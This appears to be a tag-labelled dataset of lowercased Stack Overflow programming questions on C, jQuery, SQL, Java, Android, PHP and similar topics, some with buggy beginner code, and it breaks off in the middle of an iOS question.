c program to read 2 numbers  make range from it and verify if it s positive   it there anyway that i can make my user input 2 numbers  make a range from it and verify if the input are positive     e.g: user inputs 1 and 10 program should verify if 1 and 10 is positive and make 1  2  3  4  5  6  7  8  9 10 so i can check which are prime and non prime numbers and how many of them are prime and non prime.    i ve tried made from this:   <pre><code> // request number of numbers for range  printf ( enter the number of integers and positives you want to add \ n );  scanf ( % d   &amp; n);   // quit the numbers and check if they are positive  printf ( enter% d integers and positive numbers \ n  n);  for (c = 1; c &lt;= n; c ++) {  do{  printf ( please enter a positive number );  scanf ( % d   &amp; value);  }  while (value &lt;0);   scanf ( % d  % value);  } </code></pre>,c
understanding angularjs app routing  i am beginner in angularjs and i find it hard to understand the flow.    i have a html to start with and given a link there    <pre><code>&lt; a href= #/secondhtml &gt; go &lt; /a&gt; </code></pre>   when i click on the <code> a </code> tag where it should go. - to the state named  secondhtml  - to the html named  secondhtml     please explain in detail the architecture of angularjs,angularjs
switch background image with jquery animate  when the user hovers over a div i have the background image change using the code below   <pre><code>$(document).ready(function(){ $( #f1_container2 ).hover(function(){     $( .photobg ).fadein( 800); }  function(){     $( .photobg ).fadeout(800); });  }); </code></pre>   that works fine but i want the background image to change again (in say  2 seconds) if the user is still hovering over that div. i tried the code below.   <pre><code>$(document).ready(function(){ $( #f1_container2 ).hover(function(){     $( .photobg ).delay(2000).animate({ background : #000 url(space-image.png) center    center fixed no-repeat }  0); })   }); </code></pre>   is that wrong...or should i use something like a delayed fading in of a new background div with a different background.,jquery
primary expression c++ error  i have to write some programs for a class final and i m running into an error that i can t figure out.  i have checked the syntax in this program many times and it isn t very long so i don t know why i can t find it.  when i try and compile  i get an error that says  expected primary-expression before  }  token .  it says it s in line 23.  can anyone shed some light on what might be going on    <pre><code>#include &lt;iostream&gt; using namespace std;  int main() {     int sumofprimes = 2;      for (int x=3; x&lt;2000000; x++)     {         for (int y=2; y&lt;x; y++)         {             if (x % y == 0)             {                 goto break1;             }         }         sumofprimes += x;         break1:     }      cout &lt;&lt; sumofprimes &lt;&lt; endl;      return 0; } </code></pre>,c++
python and collections.counter - how to make elements dynamic  i need to add items to a counter and needs to be more dynamic.   <pre><code>  hash_data = [{ campaign_id :  cid2504649263      country :  au      impressions : 9000     region :  cairns      utcdt : datetime.datetime(2013  6  4  6  0)}   { campaign_id :  cid2504649263      country :  au      impressions : 3000     region :  cairns      utcdt : datetime.datetime(2013  6  4  6  0)}   { campaign_id :  cid2504649263      country :  au      impressions : 3000     utcdt : datetime.datetime(2013  6  4  7  0)}] </code></pre>   for example  then last element in the list of hashes does not contain region.  yet the below is how i add elements and will get an error.   <pre><code>c = counter() for item in hash_data:     c[item[ utcdt ] item[ campaign_id ]  item[ country ]  item[ region ]] += item[metric] </code></pre>   ideally something like this but of course not work   <pre><code>c = counter() for item in hash_data:     m1 = item.keys()     m2 = []     for i in ml:         if i!= impression :            ms.add(i)     c[ml] += item[metric] </code></pre>,python
problem with jquery function.hover  i have make a javascript code. this is the code   <pre><code>/*************************/ /* twitter ticker        */ /*************************/ var nieuwsbrief_formulier_open = false; $( #footer a.twitter ).hover(  function() {                        if(nieuwsbrief_formulier_open == false)     {         nieuwsbrief_formulier_open = true;         $(this).parent( li ).addclass( actief );         $( #twitter ).fadein(600);     }     else     {         nieuwsbrief_formulier_open = false;         $(this).parent( li ).removeclass( actief );         $( #twitter ).fadeout(600);     }     return false; });  </code></pre>   when i hover on the <code>#footer a.twitter</code>. then the <code>#twitter</code> div come/show. but when i going with the mouse off this <code>#footer.a.twitter</code> button. then the div going away. how can i make  that when i m going with the mouse over the <code>#twitter</code> div. that the div going not away but also show.    who can help me   thanks !,jquery
mysql dynamic trigger creation in stored procedure  i want to create the dynamic trigger when call the procedure  it give the mysql server version syntax error  when i select that query and execute in separate query editor it will be executed.    <pre><code>drop table if exists auditlog; create table `auditlog` (   `tablename` varchar(255) default null    `rowpk` int(11) default null    `fieldname` varchar(255) default null    `old_value` varchar(255) default null    `new_value` varchar(255) default null    `ts` timestamp not null default current_timestamp on update current_timestamp ) engine=archive;  create table country(countryname varchar(100);  drop procedure if exists addlogtrigger; delimiter $ /* call addlogtrigger( country   countryid   countryname )  */ create procedure addlogtrigger (in tablename varchar(255)  in pkfield varchar(255) in column_name varchar(50)) begin       set @qry = concat     (    drop trigger if exists     tablename   _au ;   create trigger    tablename   _au after update on    tablename     for each row                                     insert into auditlog (                        tablename                          rowpk                          fieldname                          old_value                          new_value                       ) values                      (                               tablename       new.                            pkfield                                   column_name       old.                            column_name     new.                            column_name                        );                                                                   ) ;          select @qry;         prepare stmt from @qry;             execute stmt;          deallocate prepare stmt;  end$ delimiter ; </code></pre>,mysql
select values not in a certain range in a table  i have a table with an id column and hundreds of thousands of rows. i have been given a list of 1000 ids to check other table data against. <strong>the ids are not stored in order. the list of ids is not in order either.</strong> when i select the table data using those ids only 990 results are returned  meaning since that list was produce  10 of the results have changed/been removed. how can i find the 10 missing values from that range of data  this is what i m doing at the moment:   <pre><code>select * from mytable where theid in (100  2223  31  43321...92199  14000) </code></pre>   returns the 990 results. can i do something like:   <pre><code>select val from (1  2  3  4...999  1000)  where val not in ( select * from mytable where theid in (1  2  3  4...999  1000) ) </code></pre>   edit: sorry for the confusion. i should have mentioned that the id s aren t in any particular order and i was just using the number 1000 as an example. they re in a random order and the 1000 is just a selection from a much larger table (100 000s of rows).,sql
compute and print the length of string without using strlen()  in this program  i am trying to compute and print the length of string without using strlen(). why it always prints  length is : 0    <pre><code>#include &lt;stdio.h&gt;  int length(char str[]) {     int a_string;     for (a_string=0;str[a_string]!= \0 ;++a_string)     {         return a_string;     } }  int main() {     char line[80];     printf( enter string:\n );     fgets(line sizeof(line)  stdin);     printf( length (including newline) is: %d\n  length(line));     return 0; } </code></pre>,c
a simple script that works for hover  but why can t i get it to work for clicks   i have a very simple js script that works for hovers  but i want to convert the hover into a click feature. when i try to switch hover to click though  it does not work.    here is the complete example script just for reference. when someone hovers over this class  a little text with a background appears below. <a href= http://pastebin.com/jmtfvdaa  rel= nofollow >http://pastebin.com/jmtfvdaa</a>    here s what i tried for click <a href= http://pastebin.com/m0x37apd  rel= nofollow >http://pastebin.com/m0x37apd</a>    if someone could help me covert the hover into click  i would heavily appreciate it!    thanks,jquery
attempt to invoke virtual method  void android.widget.imageview.setimagebitmap(android.graphics.bitmap)  on a null object reference  i keep getting this error and i m not sure why. i ve tried googling it but no luck there.   <pre><code>04-21 15:43:24.822    2461-2461/com.example.s.myapplication d/androidruntime﹕ shutting down vm     04-21 15:43:24.823    2461-2461/com.example.s.myapplication e/androidruntime﹕ fatal exception: main         process: com.example.s.myapplication  pid: 2461         java.lang.runtimeexception: failure delivering result resultinfo{who=null  request=1  result=-1  data=null} to activity {com.example.s.myapplication/com.example.s.myapplication.mainactivity}: java.lang.nullpointerexception: attempt to invoke virtual method  void android.widget.imageview.setimagebitmap(android.graphics.bitmap)  on a null object reference                 at android.app.activitythread.deliverresults(activitythread.java:3539)                 at android.app.activitythread.handlesendresult(activitythread.java:3582)                 at android.app.activitythread.access$1300(activitythread.java:144)                 at android.app.activitythread$h.handlemessage(activitythread.java:1327)                 at android.os.handler.dispatchmessage(handler.java:102)                 at android.os.looper.loop(looper.java:135)                 at android.app.activitythread.main(activitythread.java:5221)                 at java.lang.reflect.method.invoke(native method)                 at java.lang.reflect.method.invoke(method.java:372)                 at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:899)                 at com.android.internal.os.zygoteinit.main(zygoteinit.java:694)          caused by: java.lang.nullpointerexception: attempt to invoke virtual method  void android.widget.imageview.setimagebitmap(android.graphics.bitmap)  on a null object reference                 at com.example.s.myapplication.mainactivity.onactivityresult(mainactivity.java:46)                 at android.app.activity.dispatchactivityresult(activity.java:6139)                 at android.app.activitythread.deliverresults(activitythread.java:3535)                 at android.app.activitythread.handlesendresult(activitythread.java:3582)                 at android.app.activitythread.access$1300(activitythread.java:144)                 at android.app.activitythread$h.handlemessage(activitythread.java:1327)                 at android.os.handler.dispatchmessage(handler.java:102)                 at android.os.looper.loop(looper.java:135)                 at android.app.activitythread.main(activitythread.java:5221)                 at java.lang.reflect.method.invoke(native method)                 at java.lang.reflect.method.invoke(method.java:372)                 at com.android.internal.os.zygoteinit$methodandargscaller.run(zygoteinit.java:899)                 at com.android.internal.os.zygoteinit.main(zygoteinit.java:694)     a </code></pre>   this is my main activity. what the application is meant to do is:  1. take a photo 2. save the photo in a tmp location 3. load the photo into a imageview   <pre><code>package com.example.s.myapplication;  import android.app.activity; import android.content.intent; import android.graphics.bitmap; import android.graphics.bitmapfactory; import android.net.uri; import android.os.environment; import android.provider.mediastore; import android.os.bundle; import android.view.view; import android.widget.imageview;  import java.io.file;   public class mainactivity extends activity {      static final int request_image_capture = 1;     private imageview imageview;        @override     protected void oncreate(bundle savedinstancestate) {         super.oncreate(savedinstancestate);         opencamera();         setcontentview(r.layout.activity_main);     }      public void opencamera() {         intent takepictureintent = new intent(mediastore.action_image_capture);         file file = new file(environment.getexternalstoragedirectory()+ file.separator +  image.jpg );         takepictureintent.putextra(mediastore.extra_output  uri.fromfile(file));         startactivityforresult(takepictureintent  request_image_capture);     }        protected void onactivityresult(int requestcode  int resultcode  intent data){         //check that request code matches ours:         if (requestcode == request_image_capture){             //get our saved file into a bitmap object:             file file = new file(environment.getexternalstoragedirectory()+file.separator +  image.jpg );             bitmap image = decodesampledbitmapfromfile(file.getabsolutepath()  1000  700);             imageview.setimagebitmap(image);         }     }      public boolean isexternalstoragewritable() {         string state = environment.getexternalstoragestate();         if (environment.media_mounted.equals(state)) {             return true;         }         return false;     }      public static bitmap decodesampledbitmapfromfile(string path  int reqwidth  int reqheight)     { // best quality match          //first decode with injustdecodebounds=true to check dimensions         final bitmapfactory.options options = new bitmapfactory.options();         options.injustdecodebounds = true;         bitmapfactory.decodefile(path  options);          // calculate insamplesize  raw height and width of image         final int height = options.outheight;         final int width = options.outwidth;         options.inpreferredconfig = bitmap.config.rgb_565;         int insamplesize = 1;          if (height &gt; reqheight)         {             insamplesize = math.round((float)height / (float)reqheight);         }         int expectedwidth = width / insamplesize;          if (expectedwidth &gt; reqwidth)         {             //if(math.round((float)width / (float)reqwidth) &gt; insamplesize) // if bigger sampsize..             insamplesize = math.round((float)width / (float)reqwidth);         }          options.insamplesize = insamplesize;          // decode bitmap with insamplesize set         options.injustdecodebounds = false;          return bitmapfactory.decodefile(path  options);     }      public void capture_btn(view v) {         intent takepictureintent = new intent(mediastore.action_image_capture);         file file = new file(environment.getexternalstoragedirectory() + file.separator +  image.jpg );         takepictureintent.putextra(mediastore.extra_output  uri.fromfile(file));         startactivityforresult(takepictureintent  request_image_capture);     } } </code></pre>,java
c# using a variable to access a windows form control  i have a requirement to update a number of listview controls (i.e. listview1 listview2 listview3 etc)    i am getting an syntax error in visual studio 2015.    i have broken this down to the basic issue so the error can be isolated. the following is the code i have   <pre><code>    private void form1_load(object sender  eventargs e)     {         listview1.columns.add( task    task );         control[] testlistview = this.controls.find( listview1   true);         testlistview[0].columns.add( task22    task22 );     } </code></pre>   the first code line is valid. i have placed it there to simply ensure access to listview1 is ok.    i am getting the syntax issue on line 3 (testlistview[0].columns.add).    the error is   control  does not contain a definition for  columns  and no extension method  columns  accepting a first argument of type  control  could be found (are you missing a using directive or an assembly reference )    my confusion is that when i comment out line 3 and debug and set a breakpoint after  this.controls.find  i can see  testlistview  in the locals watch window and it all looks good - the control has been found.    uncomment out line 3 and visual studio highlights the .columns. with the error detailed above.    any assistance or guidence in solving the basic issue will be appreciated.,c#
customized splitting of a string  from this post <a href= https://stackoverflow.com/questions/9313071/retrieve-substring-between-two-characters/9313263#comment11749069_9313263 >retrieve substring between two characters</a> i am able to retrieve strings between two characters easily. but i want to extend this like below. if i have a string like below     <pre><code> var str =  #a             b             c             _             ele1             ele2             #d             e             f             _             ele3              ; </code></pre>   from the above string i want to retrieve an array like below   <pre><code>     arr = [  #a                b                c               _                 ele1                 ele2                 #d                e                f               _                 ele3             ] </code></pre>   thanks. please help me on this. please use <a href= http://jsfiddle.net/jlwbf/  rel= nofollow noreferrer >this</a> fiddle.,javascript
place an image infront of a text  i have a title with html code:   <pre><code>&lt;div id= site-title &gt;   &lt;a rel= home  &gt; book journey&lt;/a&gt; &lt;/div&gt; </code></pre>   no i want to insert  a small pic infront of this book journey  how can i do it.,html
uitextview cursor placement at the top  i have a uitextview with some text already present in it. when i make this textview as the first responder  i used the following code to place the cursor on the first line   <pre><code>messagetextview.selectedrange=nsmakerange(0  0);  [messagetextview becomefirstresponder]; </code></pre>   what i want is to place the cursor above the first line of the text(give a 1 line gap between the existing text and the cursor).,ios
line breaks not showing on output   for the longest time  i ve been outputting comments and using the function below in order to put in line breaks.  it s been working great.   <pre><code>echo str_replace(chr(13)  &lt;br /&gt;  $com_text); </code></pre>   however  as of late  this code has not been working with new comments.  it still functions with the older comments in the database.  but anything new being submitted into the database is not being outputted correctly.      no code has changed  that i m aware of.  any suggestions,php
how to complete this jquery string  i m looking to use this piece of jquery to open a lightbox gallery on page load if the class .w-condition-invisible is appended to the #script-test div.    this is what i ve come up with but upon testing in the console it s not working...    any ideas    <pre><code>$(  #script-test  ).hasclass(  w-condition-invisible  ){   $( .w-lightbox ).first().trigger( tap ); }); </code></pre>,jquery
i keep getting error cs0029  i am getting the following error:   <blockquote>    cs0029    cannot implicitly convert type <code>unityengine.renderer[]</code> to   <code>system.collections.generic.list&lt;unityengine.renderer&gt;</code>  </blockquote>   the code is:    <pre><code>using unityengine; using system; using system.collections; using system.collections.generic;  public class assignshaderstochildren : monobehaviour {     private new gameobject renderer;      public shader shader; // this should hold the shader you want to use      void start()     {         // we create a list that will hold all the renderers(objects)          // so we can then assign the shader         list&lt;renderer&gt; renderers = new list&lt;renderer&gt;();         renderers = getcomponentsinchildren&lt;renderer&gt;();          // for every renderer in the list assign the materials shader to the shader         foreach (renderer r in renderers)         {             r.material.shader = shader;         }     } } </code></pre>,c#
mysql  utf8_general_ci & cyrillic characters  mysql version 4.1 and its collation utf8_general_ci doesn t seem to like specific cyrillic characters -  с  and  я . works in mysql versions 5.0 and above.    since the field is being used to store information in languages other than russian (english  estonian  german)  changing the type of collation is unthinkable.    has anyone had issues relating to that  any thoughts (except upgrading mysql)     thanks!,mysql
query on static member variables of a class  i have few classes defined in this fashion :   <pre><code>class csocket {     protected:         int m_sockworking;         int initsocket();         void cleansocket(); }  class csocketclient : public csocket {     public:         csocketclient();         int initclient(); }  class capi {     static csocketclient c1;     public:         // other methods defined  } </code></pre>   now  in the main routine i create two objects of class <code>capi</code>. i know that for static member variables there exists only one copy per class. but  how can i access <code>m_sockworking</code> variable for <code>csocketclient</code> member variable  will there be two copies of that non static member variable for the two objects  can somebody please explain,c++
how can i get count in sql without using count method  i want to know  how sql count function works.     if i want to get count in sql  i write    <pre><code>select count(1) from [table_name] </code></pre>   but how can i get <strong>count</strong> without using <strong>count()</strong> function.     may be its answer will be helpful for others.,sql
adding features to maze solver java program  i m writing a maze solver program in java and i m having trouble figuring out how to add certain features. right now i have it working for a 2d char array that i hard coded.    i need buttons that can:   <ol> <li>load a maze (that the user can select) from a text file and place it into the 2d char array.</li> <li>start the maze (basically a button that starts the solvemaze() method in mazeapp.java)</li> </ol>   a scrollbar that can control the value in thread.sleep() that is inside the solvemaze method.    and a text field that can display what is (or isn t) going on with the maze (i.e.  no maze loaded    maze loaded    solution in progress    found finish at this point:  )    mazeapp that handles the gui:   <pre><code>import java.awt.*; import javax.swing.*;  public class mazeapp extends jpanel implements runnable {     final private int cellsize = 20; // how big the cells/squares are     final private int rows = 25; // how many rows are in the array (need to be able to get this info from txt file)     final private int cols = 25; // how many columns are in the array (need to be able to get this info from txt file)     private boolean mazesolved = false; // boolean to check if maze is solved     private boolean solutionexists = true;     private int startlocx  startlocy; // ints used for  @  start location     int celllocx  celllocy; // cell location that moves through the maze  //    private char[][] easymaze = { //            { #   #    #    #    # }  //            { #   @    .    .    # }  //            { #   #    #    .    # }  //            { #   .    .    .    # }  //            { #   #    #    #    # }  //            { -   -    -    -    - }  //            { #   #    #    #    # }  //            { #   =    .    .    # }  //            { #   #    #    .    # }  //            { #   *    .    .    # }  //            { #   #    #    #    # }  //    };      //hard coded example 1 level maze with multiple finishes;     private char[][] easymaze = {             { #   #   #   #   #   #   #   #   #   #   #   #   #   #   #   #   #   #   #   #   #   #   #   #   # }              { #   .   #   .   .   .   #   .   .   .   .   .   .   .   #   .   .   .   .   .   .   .   .   .   # }              { #   .   #   .   #   .   #   .   #   #   .   #   .   #   #   .   #   #   .   #   #   #   #   .   # }              { #   .   #   .   #   .   #   .   #   #   .   #   .   #   #   .   #   .   .   .   .   #   #   .   # }              { #   .   .   .   #   .   #   .   #   #   .   #   .   #   #   .   #   .   #   .   .   #   #   .   # }              { #   .   #   .   #   .   #   .   .   .   .   #   .   #   #   .   #   .   #   .   .   #   #   .   # }              { #   .   #   .   #   .   #   .   #   #   .   #   .   #   #   .   .   .   .   .   .   .   .   .   # }              { #   .   #   .   #   .   #   .   #   #   .   #   .   .   .   .   #   .   #   #   #   #   .   .   # }              { #   .   .   .   #   .   .   .   #   #   .   #   .   #   #   .   #   .   #   .   #   .   .   .   # }              { #   .   #   #   #   #   #   #   #   #   .   #   .   #   #   .   #   .   #   .   #   .   #   .   # }              { #   .   #   .   .   .   #   .   .   .   .   #   .   #   #   .   #   .   #   .   #   .   #   .   # }              { #   .   #   .   #   .   #   .   #   #   #   #   .   #   #   .   #   .   #   .   #   .   #   .   # }              { #   .   #   .   #   .   #   .   #   #   #   #   .   #   #   .   #   .   #   .   #   .   #   .   # }              { #   .   .   .   #   .   .   .   #   .   .   .   .   #   #   .   .   .   .   .   .   .   .   .   # }              { #   #   #   #   #   #   .   #   #   #   #   #   #   #   #   .   #   .   #   #   #   .   #   .   # }              { #   .   .   .   .   .   .   .   .   .   #   #   #   #   #   .   #   .   .   .   #   .   #   .   # }              { #   .   #   .   #   #   #   #   #   #   #   #   #   #   #   .   #   .   #   .   #   .   #   .   # }              { #   .   #   .   .   .   .   .   .   .   .   .   .   .   #   .   #   .   #   .   #   .   #   .   # }              { #   .   #   .   #   #   #   #   #   #   #   #   #   .   #   .   #   .   #   .   #   .   #   .   # }              { #   .   #   .   #   .   .   .   .   .   .   .   .   .   #   .   #   .   #   .   #   .   #   .   # }              { #   .   #   .   #   .   #   #   #   #   #   #   #   #   #   .   #   .   #   .   #   .   #   .   # }              { #   .   #   .   #   .   .   .   .   .   .   .   .   .   #   .   #   .   #   .   #   .   #   #   # }              { #   @   #   .   #   #   .   #   #   #   #   .   .   .   #   .   #   .   #   .   #   .   #   #   # }              { #   .   .   .   #   #   .   #   #   #   #   .   .   #   #   .   .   .   .   .   .   .   .   *   # }              { #   #   #   #   #   #   #   #   #   #   #   #   #   #   #   #   #   #   #   #   #   #   #   #   # }     };      // goes through array and paints cells     public void paintcomponent(graphics mygrfx) {          super.paintcomponent(mygrfx);          //for loop to paint the rows         for(int i = 0;  i &lt; rows; i++){              //for loop to paint the cols             for(int j = 0; j &lt; cols; j++) {                 if (i == celllocx &amp;&amp; j == celllocy) {                     mygrfx.setcolor(color.green);                     mygrfx.fillrect(j * cellsize  i * cellsize  cellsize  cellsize);                 } else if (easymaze[i][j] ==  # ) {                     mygrfx.setcolor(color.black);                     mygrfx.fillrect(j * cellsize  i * cellsize  cellsize  cellsize);                 } else if (easymaze[i][j] ==  * ) {                     mygrfx.setcolor(color.red);                     mygrfx.fillrect(j * cellsize  i * cellsize  cellsize  cellsize);                 } else if (easymaze[i][j] ==  . ) {                     mygrfx.setcolor(color.white);                     mygrfx.fillrect(j * cellsize  i * cellsize  cellsize  cellsize);                 } else if (easymaze[i][j] ==  x ) {                     mygrfx.setcolor(color.light_gray);                     mygrfx.fillrect(j * cellsize  i * cellsize  cellsize  cellsize);                 } else if (easymaze[i][j] ==  = ) {                     mygrfx.setcolor(color.blue);                     mygrfx.fillrect(j * cellsize  i * cellsize  cellsize  cellsize);                 }             }         }     }      // goes through the array to find  @   starts start locations points at i and j     public void getstartposition() {         for(int i = 0;  i &lt; rows; i++){             for(int j = 0; j &lt; cols; j++) {                 if (easymaze[i][j] ==  @ ) {                     startlocx = i;                     startlocy = j;                 }             }         }     }      public void getstairsposition() {         for(int i = 0;  i &lt; rows; i++){             for(int j = 0; j &lt; cols; j++) {                 if (easymaze[i][j] ==  = ) {                     startlocx = i;                     startlocy = j;                 }             }         }     }      // marks visited paths with an  x   shaded light gray     public void markpath(int locx  int locy){         easymaze[locx][locy] =  x ;         celllocx = locx;         celllocy = locy;     }      // method you have to use for threads  need to replace with timer stuff     public void run() {         getstartposition();         solvemaze(startlocx  startlocy);     }      // checks to see if the maze has found an exit     public boolean isfinished(int locx  int locy) {         if (easymaze[locx][locy] ==  * ) {             return true;         } else {             return false;         }     }      // boolean that checks for walls     public boolean outofbounds(int locx  int locy) {         if (easymaze[locx][locy] ==  # ) {             return true;         } else {             return false;         }     }      // boolean to check if a cell has been visited     public boolean havevisited(int locx  int locy) {         if (easymaze[locx][locy] ==  x ) {              return true;         } else {             return false;         }     }      public void nosolution() {         for(int i = 0;  i &lt; rows; i++){             for(int j = 0; j &lt; cols; j++) {                 if (easymaze[i][j] ==  #  || easymaze[i][j] ==  x ) {                     solutionexists = false;                 }             }         }     }      // method that calls itself and checks for finish  walls  or already visited paths     private void solvemaze(int locx  int locy) {         if (isfinished(locx  locy)) {             mazesolved = true;             joptionpane.showmessagedialog(this   yay  we found the finish! );             system.exit(0);         }          if (outofbounds(locx  locy)) {             return;         }          if (havevisited(locx  locy)) {             return;         }          if (!mazesolved) {             markpath(locx  locy);             repaint();             try {thread.sleep(50); } catch (exception e) { }              solvemaze(locx  locy+1); // move right             solvemaze(locx + 1 locy); // move down             solvemaze(locx - 1  locy); // move up             solvemaze(locx  locy - 1); // move left         }     } // end solvemaze } // end class </code></pre>   this is the test class:   <pre><code>import javax.swing.*;  public class mazetest {     public static void main (string[] args) {         jframe maze = new jframe();         maze.setsize(750  520);         maze.setlocationrelativeto(null);         maze.settitle( maze solver 1.0 );         mazeapp mymazeapp = new mazeapp();         maze.setcontentpane(mymazeapp);         maze.setvisible(true);         thread mythread = new thread(mymazeapp);         mythread.start();     } } </code></pre>,java
when is this appropriate   my co worker asked me this today and like every question i don t know the answer to i m asking on stack overflow. when is this appropriate                            <pre><code>                       &lt;/table&gt;                     &lt;/ul&gt;                  &lt;/fieldset&gt;               &lt;/div&gt;         &lt;/span&gt;                                             &lt;/td&gt; &lt;/tr&gt; </code></pre>,html
how can i find out the number of seconds since 1970 using datetime in c#  i am currently using this code:   <pre><code> var stringsecsnow = datetime.utcnow.subtract(new datetime(1970  1  1)).totalseconds.tostring(); </code></pre>   but is there some other way. i seem to recall in another language that there was an easier way to do this,c#
ui.router and multiple views not working  i just dont get ui.router and why my views will not show. i go to /manageservices abd i get nothing despite content in left and right html.     i my page where i want to show a left and right view.   <pre><code>&lt;!--/manageservices.html--&gt; &lt;div ng-controller= manageservicesctrl &gt;     &lt;div ui-view= left &gt;&lt;/div&gt;     &lt;div ui-view= right &gt;&lt;/div&gt; &lt;/div&gt;   &lt;!--/left.html--&gt; &lt;div ng-controller= manageservicesctrl &gt; left &lt;/div&gt;  &lt;!--/right.html--&gt; &lt;div ng-controller= manageservicesctrl &gt; right &lt;/div&gt; </code></pre>   my config file:   <pre><code>ms.config(function($stateprovider  $urlrouterprovider $locationprovider) {          $stateprovider     .state( manageservices   {         url:  /manageservices           templateurl:  static/app/manage-services/manageservices.html           controller:  manageservicesctrl           views: {            left :  {             templateurl:  static/app/manage-services/left.html               controller:  manageservicesctrl            }             right : {             templateurl:  static/app/manage-services/right.html               controller:  manageservicesctrl            }         }//end views      })  }) </code></pre>   below is firebug.  i am getting 200 on both pages but the content is not showing.   <pre><code>get http://127.0.0.1:5000/static/app/manage-services/right.html  304 not modified         192ms    angular.min.js (line 93)  get http://127.0.0.1:5000/static/app/manage-services/left.html  304 not modified         192ms    angular.min.js (line 93)     error: cannot transition to abstract state  manageservices  v/y.transitionto@http://cdnjs.cloudflare.com/ajax/libs/angular-ui-router/0.2.15/angular-ui-router.min.js:7:16913 v/y.go@http://cdnjs.cloudflare.com/ajax/libs/angular-ui-router/0.2.15/angular-ui-router.min.js:7:16389 d/&lt;.link/&lt;/e&lt;@http://cdnjs.cloudflare.com/ajax/libs/angular-ui-router/0.2.15/angular-ui-router.min.js:7:24861 f/m&lt;@http://ajax.googleapis.com/ajax/libs/angularjs/1.4.7/angular.min.js:146:220 e@http://ajax.googleapis.com/ajax/libs/angularjs/1.4.7/angular.min.js:43:93 kf/l.defer/c&lt;@http://ajax.googleapis.com/ajax/libs/angularjs/1.4.7/angular.min.js:45:491  http://ajax.googleapis.com/ajax/libs/angularjs/1.4.7/angular.min.js line 107 </code></pre>,angularjs
program will compile with no errors  but will not execute. what s wrong  (in c)  so for some reason whenever i try and compile this program in gedit  it will work with no issues (no errors). however when i try and execute it with ./prgram  it just skips to the next line in terminal. i m not sure if it s the program that just doesn t work  or if it has something to do with my compiler. thanks! (this is a homework assignment  so bare with the extras as they are necessary for full credit)   <pre><code>#include &lt;stdio.h&gt; const double cel = 32; const double kel = 459.67;  double fahtocel(double); double fahtokel(double);  int main()     {     double cel;     double kel;     double faren;     char i[1] =  a ;     while (i ==  a )     {         printf( enter a temperature in farenheit(enter s to stop):\n );          scanf( %lf\n   &amp;faren);         printf( %lf farenheit is equal to %lf celsius  and %lf kelvin\n   faren  fahtocel(cel)  fahtokel(kel));         if (kel &lt;= -274)             printf( atomic motion has stopped\n );         else if ((kel &gt;= -274) &amp;&amp; (kel &lt;= 273))             printf( water freezes here\n );         else if ((kel &gt;= 274) &amp;&amp; (kel &lt;= 280))             printf( you ll need a sweater\n );         else if ((kel &gt;= 281) &amp;&amp; (kel &lt;= 294))             printf( a bit chilly\n );         else              printf( ahh  that s better\n );     }     return 0; }  double fahtocel(double faren) {     double cel;     cel = (faren - cel) * 5/9;     return cel; }  double fahtokel(double faren) {     double kel;     kel = (faren + kel) * 5/9;     return kel; } </code></pre>,c
sql query assistance (i am trying to learn)  i need help with this    i have table world(name  continent  capital) and i dont know how to do this:   <ol> <li>find the country where the capital is the country plus  city .</li> <li>find the countries that have two  o  characters separated by two others.</li> <li>find the countries that have three or more a in the name.</li> <li>find the capital and the name where the capital is an extension of name of the country.</li> </ol>   thanks a lot  blush,sql
rererence native dll  i have a pinvoke wrapper of some native dll. both wrapper and dll are located in libraries in my solution folder. i can add .net wrapper as reference to the project but what should i do to make native dll available in output folder  for now i just copied it manually  but i am pretty sure there a more appropriate way.,.net
errors after installing php script  brand new to all of this and trying to install my php script. when i enter my url  i get the following errors:   <blockquote>    warning: mysql_pconnect() [function.mysql-pconnect]: access denied for   user  god @ localhost  (using password: yes) in   /home/cbstacy/public_html/dirtytwenty.com/libraries/adodb/drivers/adodb-mysql.inc.php   on line 227        warning: mysql_real_escape_string()   [function.mysql-real-escape-string]: access denied for user    cbstacy @ localhost  (using password: no) in   /home/cbstacy/public_html/dirtytwenty.com/include/config.php on line   140        warning: mysql_real_escape_string()   [function.mysql-real-escape-string]: a link to the server could not be   established in   /home/cbstacy/public_html/dirtytwenty.com/include/config.php on line   140  </blockquote>,php
android receiver works dynamically but not via manifest file  i have a broadcast receiver that works when i set it up dynamically  but does not work when declared in a manifest file.     i ve googled for this and all the examples match what i m doing in my code. i do have an activity in my manifest file  so that can t be the problem. i ve tried fully specifying the receiver class name as well as using .mybroadcastreceiver but that did not make any difference.    can someone help     here is my manifest file   <pre><code>&lt; xml version= 1.0  encoding= utf-8  &gt; &lt;manifest xmlns:android= http://schemas.android.com/apk/res/android      package= com.mikrodyne.receiverdemo  &gt;      &lt;application         android:allowbackup= true          android:icon= @mipmap/ic_launcher          android:label= @string/app_name          android:theme= @style/apptheme  &gt;         &lt;activity             android:name= .mainactivity              android:label= @string/app_name  &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.main  /&gt;                 &lt;category android:name= android.intent.category.launcher  /&gt;             &lt;/intent-filter&gt;         &lt;/activity&gt;          &lt;receiver             android:name= com.mikrodyne.receiverdemo.mybroadcastreceiver              android:enabled= true &gt;             &lt;intent-filter&gt;                 &lt;action android:name= android.intent.action.headset_plug  /&gt;             &lt;/intent-filter&gt;         &lt;/receiver&gt;      &lt;/application&gt;  &lt;/manifest&gt; </code></pre>   and here is my receiver class   <pre><code>public class mybroadcastreceiver extends broadcastreceiver {     @override     public void onreceive(context context  intent intent)     {         string action = intent.getaction();         log.d( receiver    received action:   + action);     } } </code></pre>   tia nisha miller,android
frame changes when  applicationdidbecomeactive   i have a little message that appears when the app is conecting to the server. it works nice when the app is launching  and also the rest of the time that the app needs to show this message  but if i sleep the app  i put it on the background and then i wake it up  the message appears again but the whole frame moves up  see screenshots. the first one is right after launching  that message on the bottom appears and it dissapears correctly  and the view is back to what is used to be  perfect.    <img src= https://i.stack.imgur.com/vaozi.png  alt= enter image description here >    but the second screenshot is the result of making the app going to background  and then waking it up  on the  <code>applicationdidbecomeactive</code>  i have a method that requires conection to the server and therefore the small view must appear. the problem is that the window or the <code>navigation controller</code> moves up behind the status bar. and leaves that white space    <img src= https://i.stack.imgur.com/o06iy.png  alt= app from launch >    heres the code that i use to make shorter the navigation view and add that message view and make it longer again.   <pre><code>- (void)addmessageview:(nsstring *)message{ uiwindow *window = [uiapplication sharedapplication].keywindow; if(![window viewwithtag:3]){//si no hay un messageview no lo meto.     [window addsubview:messageview];     cgrect framewindow = window.frame;     int heightmessage = 50;     messageview.frame = cgrectmake(0  framewindow.size.height  320  heightmessage);        uinavigationcontroller 